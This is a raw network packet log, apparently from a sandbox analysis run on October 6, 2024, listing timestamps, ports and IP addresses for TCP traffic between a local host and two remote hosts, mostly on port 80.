Oct 6, 2024 22:33:17.872348070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872360945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872381926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872392893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872416019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872427940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872451067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872461081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872484922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872494936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872519016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872530937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872553110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872561932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872586966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872600079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872620106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872627974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872653961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872664928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872688055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872701883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872720957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872733116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872755051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872766972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.872792006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872821093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.872837067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.873090982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879314899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879348993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879400969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879400969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879672050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879705906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879739046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879770994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879810095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879843950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879848957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879878044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879887104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879911900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879945040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879957914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.879978895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.879988909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880012035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880045891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880063057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880078077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880084991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880110979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880125046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880157948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880165100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880198956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880208969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880233049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880245924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880270004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880276918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880312920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880322933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880368948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880376101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880409002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880418062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880449057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880453110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880485058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880497932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880523920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880527020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880558014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880573988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880590916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880595922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880624056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880636930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880670071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880688906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880717993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880749941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880765915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880781889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880794048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880821943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880825996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880855083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880868912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880887985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880902052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880922079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880933046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880955935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.880969048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.880991936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881001949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881026983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881038904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881062031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881073952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881094933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881108046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881128073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881140947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881172895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881195068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881227970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881242037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881262064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881279945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881294966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881333113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881340981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881366014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881412029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881417036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881452084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881460905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881488085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881521940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881536007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881555080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881588936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881603956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881624937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881638050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881659031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881690979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881705999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881726027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881757975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881772041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881791115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881804943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881825924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881859064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881875038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881892920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881902933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881927013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881959915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.881973982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.881994009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.882025957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.882040977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.882059097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.882070065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.882095098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.882143021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.903600931 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.903723955 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.903892994 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.903945923 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.903960943 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.903979063 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.903985977 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.906908989 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.906939983 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.907016039 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.907176971 CEST	49804	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.907183886 CEST	443	49804	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.957392931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957437992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957490921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957532883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957541943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957560062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957566977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957578897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957601070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957617998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957639933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957674980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957735062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957787037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957819939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957820892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957854986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957859993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957894087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957900047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957932949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957937002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.957966089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.957978010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958000898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958017111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958034992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958061934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958067894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958079100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958116055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958120108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958153963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958167076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958187103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958200932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958220959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958235025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958255053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958270073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958290100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958302021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958323002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958345890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958357096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958374023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958393097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958405018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958427906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958441973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958462000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958475113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958496094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958512068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958529949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958548069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958564997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958579063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958599091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958611012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958631992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958646059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958666086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958681107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958700895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958712101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958749056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958762884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958784103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958797932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958818913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958831072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958856106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.958865881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.958901882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.965830088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.965900898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.965904951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.965949059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.965960026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.965993881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966007948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966031075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966042042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966063023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966077089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966109991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966118097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966166973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966171980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966206074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966218948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966240883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966254950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966274977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966286898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966320992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966326952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966362000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966375113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966408968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966415882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966450930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966459036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966485023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966499090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966522932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966532946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966558933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966569901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966608047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966613054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966648102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966662884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966681957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966695070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966716051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966727018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966763020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966768980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966816902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966820955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966856956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966876030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966890097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966900110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966937065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.966943026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966978073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.966989994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967012882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967031956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967046022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967061996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967078924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967093945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967112064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967123985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967147112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967159033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967180014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967190981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967222929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967226982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967272043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967276096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967365026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967381001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967411041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967452049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967493057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967508078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967526913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967556000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967562914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967571974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967597008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967612982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967631102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967645884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967664003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967679024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967695951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967710018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967730045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967745066 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.967763901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.967777967 CEST	49741	80	192.168.2.4	141.98.233.156
